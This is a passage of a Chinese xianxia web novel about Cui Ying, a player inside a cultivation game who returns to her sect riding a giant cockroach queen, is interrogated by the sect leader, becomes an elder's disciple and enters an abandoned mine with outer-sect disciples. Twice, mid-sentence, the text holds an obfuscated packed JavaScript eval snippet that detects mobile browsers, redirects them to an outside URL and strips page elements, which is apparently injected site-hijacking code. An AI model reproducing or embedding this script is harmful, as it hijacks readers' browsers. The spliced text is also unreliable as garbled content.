蛇形紫剑受到召唤唰然而出,汹涌灵力环绕其上,霎时狂风大作,搅起巨型漩涡卷着利刃剑气,如同粉碎机一般冲向发狂的妖兽群,尖啸与血肉飞溅! 任喜儿“嚯”了一声。 她吹了声哨,缠腰软剑自动飞到手心,无垢宗的弟子们正在殊死抵抗,下一秒灵力轰然而至,血蝠妖兽被瞬间撕碎,众人回头,地面上多出了一条惊人的巨大剑痕。 任喜儿握剑站在剑痕终端,中气十足霸气侧漏地喊:“打什么打,还不快跑?!” 轰隆隆—— 身后的墓穴再次发出动静。 如同开闸泄洪,无数扁平的蜚蠊振翅飞出,革质厚实的翅膀敲打出刺耳的声响,乌泱泱遮蔽了山谷,也遮住了所有人惨白的脸色! 死亡的阴影笼罩上空。 “这。”有人颤声,无比绝望,“这玩意怎么还会飞啊!” 灵力冲向高空,蜚蠊的碎尸与黏浆如雨落下,然而比起灾难般的蜚蠊群简直是杯水车薪,局面迅速滑向了绝望的深渊。 那两根冲天触须刺破地表时,所有人的表情已经跟死尸没区别了。 大地震颤,漆黑的裂纹从墓穴前伸展,磅礴妖气随着那山一样的黑色油皮生物节节攀升,一只前所未有的巨型蜚蠊从地底钻出,足肢的刚毛勾起大片碎土,深褐色躯体就泛着绸缎般的暗光,口器,复眼,节肢,斑纹,每一个可怕的细节放大百倍的展现眼前。 空气仿佛在一瞬间静止,修士,妖兽,全部被这可怕的气息震慑住。 明明心里尖叫着想要逃跑,身体却好像被神秘力量攫住一动也不能动,只呆愣地注视着这庞然大物,全然忘了自己的存在。 簌簌簌簌———— 一个瘦小的人影,从触须间缓缓站起。 众人一寸一寸僵硬抬头,看清楚那人影的长相后,无一例外陷入了死寂。 崔滢满头大汗,站在蠊后的头顶挥手,两只手放在唇边作喇叭状,大喊:“是我呀——” “……” “大家都上来吧!”她说,扶着蠊后的触须,“我们快点离开这里!” “…………” 任喜儿木着脸转向宋如莺,“她在说什么?” 宋如莺显然语言系统已失灵,无法回答这个问题。 所有人惊恐的看着这只不死不灭存活上千年的古老妖兽,像被掐了脖子的鸡,一句话都说不出来。 骑什么,骑这玩意儿? 骑着这玩意儿,回宗门?? 7. 宗门大比 蠊后的模样令人作呕,那锋利的口器放大无数倍,朝着一众惊恐的面孔开开合合。 回过神时,邱长老和任喜儿已经率先跃上蠊后的脊背,四面楚歌之下,求生欲大过一切,很快所有人都开始行动。那些妖兽像忽然生了什么病,徘徊在蠊后的一尺之外不敢靠近,最后只剩下宋如莺苍白地站在不远处,浑身凝固,一动也不能动。 “宋师姐?” “我去把她带上来。”木泓站出,解释道,“如莺进宗门前差点被炼成蛊虫,自那以后见到虫子就动不了了。” 原来是ptsd。 尽管已经做过了心理建设,但在看到一只巨型蟑螂扇起翅膀的时候,众人的脸色还是难免发绿。 蠊后冲出山谷,旷野肆意的风打到脸上时,崔滢最后剩的一点顾虑也烟消云散。 山谷之外并没有曙光。 铅色深重的天倾轧下来,和黄绿相接的平原形成鲜明对比,风雨欲来的潮湿腥气冲击着每一寸毛孔,崔滢深深呼吸着暴雨将至前的气息,感觉到了无比的自由。 人类的科技早已突破走地生物在天上飞的屏障,但此时此刻,天低地广,风狂草长,是坐多少次机舱都换不来的感受。 游戏之所以让人沉迷,崔滢想,或许就是提供了这种对自由无与伦比的幻想。 当那片巨大的黑影出现在无垢宗上方时,前所未有的浓烈妖气如开闸泄洪,山崖,学堂,竹林,正在修炼的弟子们纷纷受到影响,停下正在进行的动作,目瞪口呆地看着上空出现的巨大蜚蠊。 余小玉正使唤弟弟顶着狂风用火烤她的药炉,余光也被一片黑压压吸引过去,旋即整个人都呆滞了。 “差不多了,再有一息这炉子就成了。” 没得到回应,余小羽瞥了两眼,深呼吸吼道,“姐!” 当啷,炼废的炉子掉在地上。 余小玉甚至连一点眼神都没给,死死盯着天际出现的庞然生物,看着它摇动的触须,挥出残影的薄翅,嘴巴越张越大。 那,是,什,么,玩,意? 等万兽谷一行人迎风猎猎地来到宗门上方时,门口已经排兵列阵,法器灵力齐上阵,严防死守齐刷刷对准漂浮在上房的巨大蜚蠊,一触即发。 诸位—— 诸位———— 缥缈的声音遥遥落下,终于有人发现异样,放下武器,颤着手指着上空,不可置信道:“那上面有人?” 无垢宗弟子密密麻麻站在蜚蠊头顶,一声叠过一声朝下喊: “诸位!”“是我们——”“我们从万兽谷回来啦!!”“自己人!” “……” 沉默片刻。 守在宗门口的弟子再度摆好攻势,法器比先前多了一倍,乒铃乓啷,灵力光芒大盛,每个人的表情视死如归,活脱脱要将天轰个窟窿的架势。 “蜚蠊之卵无处不在,一旦让这畜生进门,我们无垢宗就废了!” 站在蜚蠊头顶的同门:? “对对,这些弟子也不能要了,为了宗门的长远发展,这点牺牲是很正常的!” 盼望着相亲相爱的同门:??? 我靠! 另一边,崔滢一边听着蜚蠊头顶的无垢宗弟子们骂成一团,一边支着脑袋放空,那些争执的话语变成棉线断断续续进入脑子,团成一个团。 有这么可怕吗? 崔滢一直住在徐薇家的地下室,为了迎合她的习惯,徐薇还给她买了一口棺材。 徐薇不会亲自打扫,请的清洁也不会被允许进入地下室,所以地下室的卫生全看崔滢自己。偏偏她的卫生观念和人类身份认同一样稀薄,称不上脏,但也确实够乱。 她使用电子产品的时间有限,漫长无聊的黑夜中,崔滢唯一的解闷友伴就是那些生命力顽强的蟑螂。它们无处不在,既好沟通,又爱干净,除了爬动起来有点吵,崔滢对它们的印象还挺好。 游戏里的世界观是作者特意设置,但她也没想到,这里的人对蟑螂竟然如此抵触。 明明是很乖巧的生物。 上下两批人正吵的不可开交,眼看要爆发一场内讧火拼之际,一道浑厚的嗓音从天而降,带着强势悍人的灵压,瞬间扫平了所有的杂音: “够了。” …… 先是邱长老抬手行礼,而后所有弟子都反应过来,立即停下争执,整齐的声音化成雷声中的一片嗡鸣:“见过师祖。” 师祖? 崔滢的眼神终于动了,看着那个冰雕凌花般的白发男人,喉咙滑了一下。 虽然不懂,但能感觉到这个角色一出场,连空气的力场都变了。 以及制作组用心何其歹毒。 这个世界的男人管他老少强弱,即便是几百岁白发苍苍的生物,竟然没有一个丑的?! 外门的弟子们安安静静缩成一团,有些畏惧地看着天上那个只活在传闻中的白发男人。师祖却只是很简单地挥了下手,温声道:“过几日宗门大比,都回去好好准备吧。” 谁还敢继续逗留?纷纷一言不吭作鸟兽散,宗门外只剩下一只巨大的悬浮蜚蠊,还有一群死里逃生的内门弟子。 “那是乾元宗的任小友?”师祖的头发是白的,皮肤是白的,睫毛也是白的,仙的不食人间火,人却蛮接地气,两只手拢在袖中,笑眯眯问,“这么短的时间未见,你的修为又精进了。” 任喜儿虽然不是本门弟子,却也不怯场,脆生生道:“牢您记挂,好歹从万兽谷活着出来了。” “查到什么了吗?” “嗯。” “待会与我细说。” “光誉。” 师祖喊了邱长老的名号。 巨型蜚蠊的复眼栩栩如生,简直像是蕴含着某种智慧一般,精准定位师祖,他收回眼神,淡淡道,“这是怎么回事?” 邱长老简单概述了一遍。 “哦?”师祖的目光落到蜚蠊头部呆滞坐着的崔滢身上,眯了眯眼,“你的意思是,我们无垢宗出了一个驯兽的天才?” 邱长老:“情况复杂,一切还有待观察。” “既然是驯兽的天才,怎么叫来的,就怎么喊回去。”师祖轻飘飘道,一句话就终结了剑拔弩张的氛围,“小道友,你起来。” 崔滢站起来,手心出汗。 “这蜚蠊可听你的话?” 崔滢面露为难之色。 师祖温声:“不要怕,你有什么想法大胆说,我堂堂无垢宗,还不至于为难一个手无寸铁的修士。” “不,我的意思是,”崔滢道,“得先落地,才能让她回去。” 师祖恍然大悟。 好歹是找到了一个台阶,众人逃难般从蜚蠊身上落下,宋如莺也悠悠转醒,第一眼就看见了手脚笨拙正从蜚蠊触须滑下来的崔滢,顿时又晕了过去。 崔滢本想效仿任喜儿吹声哨,或是打个响指,事实就是少壮不努力装杯徒伤悲,她一个都做不出来,只好在所有目光的聚集下挥了挥手,仿佛一枚昂首挺胸的交警,中气十足对着蠊后喊: “走!” 众人:“……” 嗡的一声,蠊后振动翅膀,飞快消失在视野之中。 众人:“…………” 不是,还真有用啊?! 崔滢再回头看时,师祖所在的地方已经空空如也。 好可惜,本来还想看看能不能触发点别的剧情。 外门和内门天差地别,万兽谷的内门弟子和任喜儿很快随着邱长老在一众注视下登上仙阶云栈,只留下孤零零一个崔滢,带着满身蜚蠊的秽气,过街老鼠般穿行在外门杂役区。 这地方实在没有什么美感。 嘈杂的人群,低矮的建筑,朴素的防御工事,密集的集体宿舍毫无隐私可言,连修炼场也只有一片简单的空地。其实判断一个弟子是不是外门根本不需要靠剑鞘上的刻纹,只要看她凌乱的发丝和泛黄生霉的衣物,等级带来的差别是比刻纹还要深刻、随时带在身上的。 师祖口中的宗门大比,崔滢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269635|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也略有了解。 简单来说,那是外门弟子进入内门唯一的途径。 最初筛选就是靠天赋,然后是不同等的资源加持,这世上从不缺有天赋还愿意努力的人,所以虽然每年都有宗门大比,但能够鲤鱼跃龙门的人却是屈指可数,每一位都堪称奇迹。 尽管如此,每年的这个时候,为之拼尽全力的人仍不计其数。 崔滢在现实中不需要跟随优绩主义,到了游戏中也仍然如此。她闲庭信步地回到弟子庐舍,庐舍是十人的大通铺,崔滢晚上不睡觉,白天则是在深山里洞穴乱转,很少来这里。 今天是因为正好天阴,她才有了更多的活动机会。 弟子操练声、劳作声、看门犬的叫声混杂,崔滢穿梭在这样嘈杂的环境中,安心欣赏游戏里的细节设置,暗暗将见闻记在心中,打算回去狠狠补课。 这几番下来,她对东方的仙侠体系产生了很大的兴趣。 逛完庐舍后准备到别的地方再转转,就遇上刚打听一圈回来的余氏姐弟,余小玉一个箭步冲上来,抓着崔滢的肩膀问道:“万兽谷里发生什么了?!” 崔滢想了想任喜儿说的话,道:“万兽谷的人都死了。” 太过于轻飘飘的语气,以至于一瞬间让余氏姐弟产生了某种幻觉,直到反应过来崔滢究竟在说什么的时候,余小玉的呼吸才缓慢恢复,“哦”了一声。 都死了。 余小羽还处在质疑的状态:“不可能吧,别人不说,万兽谷的谷主可是化神后期,差一步炼虚,就算有人要搞他,除非让整个谷里的妖兽叛乱,否则……” 说着说着,他的脸色也变得不好看起来。 其实没说下半句,周围的人也能懂他要说什么。 ——除非万兽谷妖兽失控,被外人利用,否则谷内百余人,怎么可能说覆灭就覆灭。 可是人都死了,还不能说明问题吗? 哐啷,平地一声惊雷,仿佛被捅了个窟窿,瓢泼白雨倾盆而下。 三人站在庐舍的廊道中,飘雨不断洒进来,崔滢不想弄湿,于是扭头就走,看见余氏姐弟还傻傻站在原地,忍不住提醒:“下雨了,你们不去避雨吗?” “……” 余小羽拉了拉余小玉的衣袖,“姐。” “没事。”余小玉回过神摇了摇头,“就是之前炼的炉子废了,得委屈你重新帮我炼了。” 余小羽一下惊恐:“别说这种话行吗,你把我姐吐出来。” 余小玉:“帮老娘炼炉子,炼不出来不准睡觉。” 旁观的崔滢凑热闹地添上一句:“炼什么炉子?” 余小羽还在犹豫,余小玉已经干脆开口了:“就是宗门大比,我体脉有点毛病,修为上不去,不能硬拼。” “但是无垢宗的内门规矩还有一条,如果能炼出六品以上的丹药,也可以破例进入内门。” 崔滢虽然听得一知半懂,却也能抓住余小玉话语中的逻辑:“可是如果你修为不行的话,怎么能炼出厉害的丹药呢?” 余小羽一下火了:“你这人怎么说话的!” 余小玉习惯性拽住他,笑了一下,“我自然有我的法子。崔师妹呢,你准备参加宗门大比么?” “还在想呢。”崔滢含含糊糊,就像孩子敷衍父母准备考公考编的问题那样,别问,问就是还在想。 “那你弟弟打算怎么办?”这两人聊起天来已经完全视余小羽为空气了。 余小羽哼了一声。 余小玉解释:“他本来就是内门的弟子。最开始招收的时候,我们就是一个外门,一个内门。” 崔滢:“噢——” 她们又旁若无人地聊了一会儿,以余小羽急着回内门为结束。分道扬镳走出一里地了余小羽才问:“怎么不问她万兽谷的事,我听说她也参与了。” “想瞒的东西问不出来,不想瞒的东西也没什么意思。”余小玉道,斜了一眼,伸手敲他一记,催促道,“赶紧的吧,一个破炉子的事,还炼不出来了?” 8. 宗门大比 千仞峰峦如沉睡的苍龙,脊背隐没在翻涌的铅色云海中,只露出半截青玉般的山巅。 雪白的电流在云层中若隐若现,长老殿内,各峰长老环坐,数十名弟子垂首而立,空气沉重,仿若死去。 内阁之中,茶雾渺渺,一老一少相对而坐,师祖亲自看茶,手指贴着白瓷,将一碟滚烫的青水放到任喜儿面前。 “你的意思是,金丹期以上的修士内丹全部被取,万兽谷内部出了问题,内鬼躲进了一个墓穴,墓穴中还有别的东西?” “我已委托邱长老进内海查书魂,取金丹这种事,非邪教邪术不可。” “我不喝这个。”任喜儿推开茶,“我们走的匆忙,但离开之前,我的确感受到了墓穴深处有不一般的气息。” 她忽然问,“会不会是魔族?” 这是一个只存在于历史中的种族。 千年前的玄墟一战过后,魔族便彻底销声匿迹,除了老资历的修道者,当世人连魔是什么都没见过。 所以当任喜儿提出这一点的时候,师祖还是很意外的。 “墓穴之中有聚灵阵,这种阵法一般用于召唤或者唤醒,布局者想要唤醒墓穴中的某物,为此不惜屠杀了整个万兽谷……” 任喜儿说出自己的猜测,脊骨冒上阵阵寒意,这时师祖问道: “诶,你说的那个外门弟子呢,又是怎么一回事?” 任喜儿反应了一下。 “哦,就是那个会驯兽的小修士,我还以为是贵宗为了万兽谷的行动特意安排进去的,” “惭愧。”师祖不咸不淡,“设坛授道,因材施教,本仙门之道义,令珠玉蒙尘,实乃我宗之误。” 弯弯绕绕,任喜儿只听懂了崔滢并不是无垢宗安排进去的。一个外门弟子在毫无预兆的情况下自主溜进内门的队伍里,动机是什么?目的又是什么? 从万兽谷死里逃生过后,崔滢的嫌疑不减反增,可真是奇了。 不过话说回来,这都是无垢宗的内务了。 “没什么事我就先回去了。”她站起,“多谢长老款待。” 师祖笑眯眯看着她往门口去,忽然道:“记得替我跟你师娘问声好。” 任喜儿脚步不停,抬了抬手,腕上金珠叮当,穿过殿堂扬长而去。 直到任喜儿走后,邱长老才在内阁现身,师祖勾起的唇角融化了,神情平直,道:“去把那个外门弟子叫过来,接下去的事情,你和瞿荒看着办。” “明白。” - 崔滢被带到长老殿时,身上还有深深浅浅的雨点,周围全是她从未见过的内门弟子。 正前方还坐着一个宝相庄严的老人。 可喜可贺的是,这是她在这个游戏里见到了一个长相正常的老男人。 崔滢直挺挺地站着一动不动,直到邱长老咳过三声后忍不住提醒:“愣着作甚,还不快拜见掌门?” 崔滢:“……” 掌门,掌管一宗门总务的人。 她干脆利落跪下,额头重重磕在地上,口齿清晰道:“见过掌门。” 崔滢学过一点东方历史的皮毛,知道在古时候,平民见贵族都需要下跪磕头行大礼。 她很自然地把外门放在“平民”的位置,内门则是看成“贵族”的部落。 而掌门,则是万人之上,那个最顶尖的位置。 她的头贴着冰凉的石玉地板,感受到了一种入乡随俗的妥帖,满满的安全感。 邱长老:“……” 掌门:“……” 掌门瞿荒咳了一下,沉声道:“崔小友莫慌,此番并非定罪,只是有些问题需要沟通。” “……” “你先起来。” 崔滢“哦”了一声,拍拍衣服站起,乖巧地看着瞿荒。 一面青色的镜子飘了过来。 镜面直径约八寸,边缘刻有八卦纹与流转的幽蓝符文。 镜框由十二根灵玉枝桠交错构成,植桠尖端生长着半透明的荧光菌丝,平日蜷缩如蚕茧,使用时缓缓舒展;镜背镶嵌一枚暗红血珀,内部封存着一缕游动的赤金色灵雾,似活物般随情绪波动而变幻形态。 这是一件大法器,因为无需手动查询她的眼前就跳出来一行红字,上书介绍:心渊鉴。 “手放上去。” 内门的氛围虽然严肃,但掌门比想象中的慈祥,崔滢定了定心,掌心贴上去,菌丝刺入皮肤吸收微量气血,与灵雾连成魂桥。得到眼神肯定后,瞿荒开口: “万兽谷杀人取丹,在墓穴中列聚灵阵的,和你有关?” 此话一出,崔滢和心渊鉴倒没什么反应,反而是她身后的弟子们泛起了涟漪。 邱长老敛眸。 他们去得急回得快,对万兽谷的内幕知之甚少,这个消息,想来也是任喜儿临时说出来,掌门借机拿来诈崔滢的。 崔滢:“我什么都不知道。” “除特殊情况外,内门不可随意进出外门,这条规则,你该清楚吧。” 崔滢:“昂。” 菌丝剧烈收缩,灵雾染上血色,扭曲成漩涡状,崔滢蜷缩着“嘶”了一声,忙改口:“我不知道,这个也不知道。” “……” 周围人的表情开始诡异起来。 这个人真的是无垢宗弟子吗? “好,那且不论你的动机。”瞿荒缓缓倾身,眼神切在崔滢身上,没有锐度,却十分压人,“外门弟子需走过仙阶云栈方才得入内门,每一阶云栈的灵压节节攀升,足以将你这个炼气期,”他的手指隔空点了一下,“碾成飞灰。” “没有内门人士相助,你不可能走过云栈。”瞿荒道,“谁是接应你的那个人?” 崔滢规规矩矩:“没有人,我自己一个人来的。” 心渊鉴没有反应。 瞿荒吸了口气,头疼地掐了掐眉心。 “我很关心万兽谷的事情。”崔滢还在继续,“所以想办法混了进去。我承认这件事情我有做得不对的地方,可我好歹也发挥了一点作用,把所有人都全须全尾的带出来了。” “在场的弟子都可以证明。” “在场的弟子”们想起那只可怕的飞天大蠊,脸都黑了,也没有反驳。 审问结束,崔滢的手离开心渊鉴。 “我听光誉说,你似乎有驯兽之能,可属实?”瞿荒想起什么,秉持着不浪费一个人才的原则笑眯眯看向她。 崔滢抿嘴,心虚目移。 还是玩大了。 像蠊后那种级别的生物已经和一个人类修士没差,信息素发挥的作用有限。崔滢之所以能驱使她,靠的并不是模仿信息素,而是她在解救魔头的支线任务中获得的奖励,二级天赋,【驯养】。 她查看过自己的人物属性栏,分为“修为”与“天赋”两栏。修为自然指的就是崔滢的修仙等级;而“天赋”,崔滢把这个名词等量代换成了技能。 每一个天赋分为三等,可通过吞噬其他天赋来进行升级。 支线任务得来的奖励顺手就拿了,但是该怎么对外解释,这是一个大问题。 只听几声凌乱的动静,几只雀鸟拍打着翅膀闯了进来,穿过人群停在崔滢的肩膀。 她还是站在那,像个稻草人,不动声色之间就展示完了自己的技能。 瞿荒看了一会儿,眼尾溢出点笑意,道:“原来如此,好。” “光誉,你带这位崔小友到附近的山头转转。” 邱长老顿了一下,抬起眉眼:“掌门。” “要是没有人愿意收她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269636|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”瞿荒淡淡道,“那就你收了她吧。” 邱长老:“……” 崔滢从外门一跃进入内门的消息隔天就传遍了整个无垢宗。 “不公平!” 余小玉看向窗缝外,一路之隔的灵田中,有人丢下锄头,满腹忿怨,“同是炼气期,凭什么有人蹭了一次任务就能进内门?要不给个说法,大伙都去万兽谷算了!活着回来就能进内门,不比在这耕田干杂役来得快捷?” 他的声音振振抵过大雨,周围低头耕田的人虽然不吭声,但表情看上去也差不多。 怨气如病毒般散播,这当中也有不同的见解:“内门岂是随随便便就能进的,那个外门现在可是万兽谷的头号嫌疑人!你们难道看不出来,掌门这样做,分明是要将她留在眼皮子底下,以防后患啊。” “万兽谷是什么地方,谷主都死了,说得好像谁谁去都能活着出来一样!” 东说西说,不管怎么说,崔滢的确是阴差阳错之下莫名其妙的占了旁人挤破头的位置。 “姐。”余小羽很无奈,“你又走神了,能不能上点心,这是谁的炉子?” 余小玉收回眼神,“我只是觉得奇怪。” “谁?”余小羽道,“那个崔滢?” “你还记得我们刚到宗门的时候,崔师妹是什么样的吗?” “什么什么样,不就是那样。” 余小羽的指尖跳出一朵幽冥之火,缓慢融入正被阳炎灼烧的赤红铜炉中,铜炉发出毕毕剥剥的扭曲声音,随时都有可能炸开。 他想了想,“不过比现在爱笑些罢了,人都这样,千变万化的。” 余小玉:“跟你说你也不懂。” 一柄纤细的银刃闪现指间,余小玉娴熟地在手腕割了一道,鲜血从伤口中漂浮而出,争先恐后地涌入火烧的铜炉之上,大雨淹没了所有的声音,无人注意到这一间封闭的炼器室内,正在进行着怎样的秘密工作。 - 被不知道第几次扫地出门后,崔滢带着一双快走断的腿半死不活地跟在邱长老身后。 这些无垢宗的长老,不是装傻就是打太极,更有甚者聊到一半直接尿遁,总之正如宗主所言,没有一个愿意接收崔滢的。 没办法,中等水灵根,基础就摆在那。 哪有少年班愿意接收一个普通中学生? 崔滢看着邱长老越走越沧桑的背影,心中生出无限同情。 最后他深深地叹了口气。 “罢了。” 邱长老转向崔滢,温和道,“回去收拾一下你的行李,今晚搬到这里来住。” 崔滢点点头。 崔滢左右看看,“师父。” 邱长老差点咬到舌头。 这适应能力未免过于良好,他都还没过渡好,崔滢直接就喊上了。 “师兄师姐呢?”崔滢环视一周,“我想先跟他们打声招呼,以后有不懂的事情,也好请教请教。” 邱光誉沉默良久,道:“以后你有什么事来找我就好。” 崔滢“啊”了一声,“我没有师兄师姐吗?” 邱光誉:“两年前十万山突围,他们都死了。” “……”崔滢不敢说话了。 邱光誉:“没事,你不要有心理压力,今天开始你就是罗汉峰的弟子了,以后有什么修炼或者生活上的问题可以找我沟通。” 崔滢一个劲的点头。 相当于导师告诉你小组其他人全都因为实验工作殁了,现在他的指导和指挥对象只剩你一个,怎么可能没有压力? 压力简直爆掉了好吧! 事实证明不知道答案的选择题就应该依赖第一直觉,千防万防还是小心翼翼摔进了一个大坑。想着茫茫的未卜前途,崔滢的心中只剩下无限悲凉。 9. 宗门大比 宋如莺去罗汉峰探望崔滢的时候,她正在后山的天池边躺在植桠间捧着一本剑诀看得津津有味。 剑诀是邱长老精心挑选的基础诀,说是固本培元,练完整本就差不多能筑基了。崔滢听进去了,白天窝在屋子里看,晚上出来溜达也看,本不离手,手不离本。 “是崔师妹吗?” 剑诀背后露出一只眼睛,眼珠下移,落在树下挥手打招呼的人影身上。 宋如莺笑眼盈盈,“崔师妹,听说你最近修行用功,我来给你送点东西。” 剑诀挡住半张脸,崔滢睁着眼睛看她,声音有点闷,“什么?” “你先下来。” 崔滢抓着书,全然没有要下去的意思。 宋如莺扯了扯嘴角。 雪白衣角闪过,树枝晃了一下,崔滢看着屈膝蹲在枝桠间的宋如莺朝自己伸出手,掌心躺着一枚洁白的药瓶。 “这是筑基丹,常人得此丹药,可打通任督二脉,如通渠引水,天地元气自能循经流转。”宋如莺道,“师妹正值筑基关键,有了此药,宗门大比便可无虞。” 崔滢收下了药,却道:“我没说要参加宗门大比啊。” “师妹,把师姐当成傻子就不好玩了。”宋如莺往后一坐,“你意外进了内门,若是不通过宗门大比在众人面前立威,旁人如何信服?旁人若不信服,这内门的日子,往后只会越过越难。” 崔滢:“……” 好嘛,连环坑。 上一个问题还没解决,因为这个问题连锁的下一个问题接踵而至,这游戏的算法当真可怕! 这一下走了神,崔滢的手指一松,剑诀里夹着的小书册“啪嗒”掉了下去,借着熹微的月光和金丹修士优越的目力,宋如莺看见小书册上“霸道掌门锁青衫”七个大字。 宋如莺“咦”了一声,“这不是掌门和邱长老的……” “咳。”崔滢爬下树,捡起书册塞进怀里,囫囵解释道,“一个路人硬要塞给我的,随便看看,随便看看。” 宋如莺:“……” 原来是迷上了恶俗话本,怪道废寝忘食。 “有人来了。”宋如莺往旁边看了一眼,“我先走了,可千万别让他们看见我和你待一块。” 崔滢停下脚步,感到奇怪,“为什么?” 宋如莺笑了笑,再眨眼时,树枝上已空空如也,只剩摇晃的枝叶,证明那里曾有人来过。 她回过神,拍了拍话本上的灰塞进袖中,然后打开剑诀,中央浮现出一行标识:【是否选择学习?】 【Yes】 心脏猛地下坠,崔滢感觉自己一瞬间坠入了黑暗之境,周围是重达千钧的压力,丝丝缕缕渗入骨髓,几乎要将她煮沸。 只是呼吸,就抽干了她所有的力气。 不知道过了多久,崔滢的意识重新回到体内,她大口喘息,发觉自己正保持着打坐的姿势,抬头往天上看,月亮已经跨了一个大步。 发丝被汗水打湿,异样的空虚填充,同时又有隐约的不一样的力气在体脉中流转。 夜晚的空气变得分外清凉,山峦的形状清晰可见,万物的声音落在耳朵里,崔滢只觉得自己好像换了一具躯体,修行竟是如此切实的体验。 她拔开宋如莺给的药瓶,木塞离口,发出“啵”的一声。 这个游戏角色给她的观感一般,无缘无故递药,不是拉拢刺探就是下毒。崔滢看了一会儿将瓶子封好,还是没吃。 【触发支线剧情:灵石废矿】 眼前忽然跳出这样一串字样。 如果放在前几天她可能会拒绝。可是现在,前有万兽谷后有宗门大比,如果手里没有更多的底牌,剧情杀可不是她想要的结局。 【已接受任务】 【任务倒计时:12:00:00】 倒计时的数字刚跳动一秒,旁边的树林里就传出声音:“看你在这练了有一段时间了,你是内门的弟子?” 循声望去,黑暗里走出几个人,三男二女,模样年轻,穿着统一的外门服装,只是身上戴着不同的配饰。 高马尾的女子背了个箭筒,在她右手边,是两个身高差不多但一宽一窄的男修士,宽的头戴抹额,窄的腕环金钏;左手边的女人稍矮,双丸髻,眼尾指尖都有鲜妍的色彩;最左边是一个刘海遮眼的修士。 打眼看下来,能看出这是一个每个人都想突出个人特色的小团体。但是因为太刻意,所以显得有点中二和搞笑。 高马尾女扫了一眼崔滢腰间的刻纹剑鞘,狐疑道,“内门弟子才练气期?” 金钏男压低声音,“最近不就有一个进内门的……” 五个人的表情都产生了微妙的变化。 崔滢看着他们毫不遮掩的在自己面前窃窃私语。 “我叫崔滢。”她说,“你们是外门的吧,怎么上来的?” 抹额男听了有些不爽,冷笑,“我们怎么上来的,你还不清楚吗?” 本来大家都是外门,装什么装? 高马尾女伸手拦了一下,意思是语气不要冲,不要起冲突。 “崔师妹?是这样吧,我听说过你,你是去年进山的,按规矩,我们算是你的师兄师姐。” “自我介绍一下吧,那边那个叫庄明俊,中品木灵根,”高马尾指着方才的抹额男,“这位是茅成龙,也是中品木灵根。” “我叫宇文雁,上品火灵根。”宇文雁露出一个友好的笑容,旁边的双丸髻女抢道,“我叫荀慧,土灵根,他叫汪夷是水灵根。崔滢,罗汉峰有条灵石矿脉,你知道吗?” 宇文雁表情一变,拍了荀慧一掌,“你怎么就说出来了?!” 崔滢赶时间,跳过了客气的环节,干脆直接道,“灵石矿脉是什么?” “就是一条废弃的灵石矿,有人说里面藏了一只血髓琉璃兽。”荀慧走上前,她生得极其纤瘦,脸上的胭脂在夜幕中泛着莹亮的色泽,像是某种妖精的鳞片,“这等稀罕物,不管信不信都要去碰碰运气的,你说呢?” 崔滢根本不知道血髓琉璃兽是什么,好在她有游戏。 【血髓琉璃兽,以地脉深处的千年矿髓为食,百年能凝结出鸽卵大小的妖丹。 以修士心头血为引,服食后半个时辰内,修为境界能在短时间内暴涨两个小境界。 血髓琉璃兽的妖丹中蕴含着地脉的狂暴意志,十有七八的服食者会在力量巅峰时心智被吞噬,承受经脉碎裂的副作用。】 懂了。 不谈剂量谈毒性的都是耍流氓。一颗药力太强容易走火入魔,所以要几个人来瓜分,既能够短时间提升实力,又可以削弱副作用带来的影响。 “加入我们吧。”宇文雁也走上来,两个女人站在崔滢的一左一右,“罗汉峰的灵石矿脉都有长老的亲印,你是邱长老的弟子,封印不会对你起效。” “如果没有琉璃兽,算我们欠你一个人情;如果有,事成过后我们分药,你也不亏。” 崔滢笑了笑。 “不怕我卖了你们?” “我们有五个人。”宇文雁也笑,“真要闹到长老殿论起是非,谁占理也不一定。” “好吧,我答应你们。”崔滢道,“不过那条矿脉在哪?” 宇文雁指了指她身后。 崔滢转身,隔着一片积绿的池塘,山壁上绿油油的一层藤蔓,像是某种古老的信号。 藤蔓从高处死死扒住,纠缠复杂,宇文雁抬手,炽烈的火苗从她的指尖涌出,沿着绿色的植被迅速攀升,很快将藤蔓烧掉大片,汪夷一记水弹打上去,岩石上只剩湿漉漉的泥灰。 这时崔滢才看到,藤蔓背后是一扇巨大的石门,门上青苔肆意蔓延,将它吸收成了山体的一部分。 石门半扇已然坍塌,崔滢靠近的时候能感受到门上熹微的封印灵力,想必这五人组就是被这封印困住。她抬手抹掉,朝身后五位找了招手。 一行人走进矿道。 墙壁上的石头坑洼不平,曾经被炸开的痕迹依然清晰可见,顶部的木梁也依旧腐朽,有些地方坍塌,堆积着破碎的石块。 空气中弥漫着稀薄的妖气,庄明俊掏出罗盘,指针摇摇晃晃,他叹气,“单靠法器找不太现实。” 四个人的目光又放在了宇文雁的身上。崔滢看出来,她是这个团队里的主心骨。 “再往里走走。” 沿着矿道深入,偶尔能看到一些废弃的工具,再继续走,就出现了残留的矿脉,闪烁着绮丽光彩的灵石星星点点的散落各处,像是被遗弃的梦境。庄明俊再度掏出罗盘,还是无果。 茅成龙和荀慧七嘴八舌道:“不如咱们用那招吧。” 宇文雁无奈地看了他们一眼,转向崔滢:“准备一下,保护好自己。” 崔滢:? 什,什么意思? 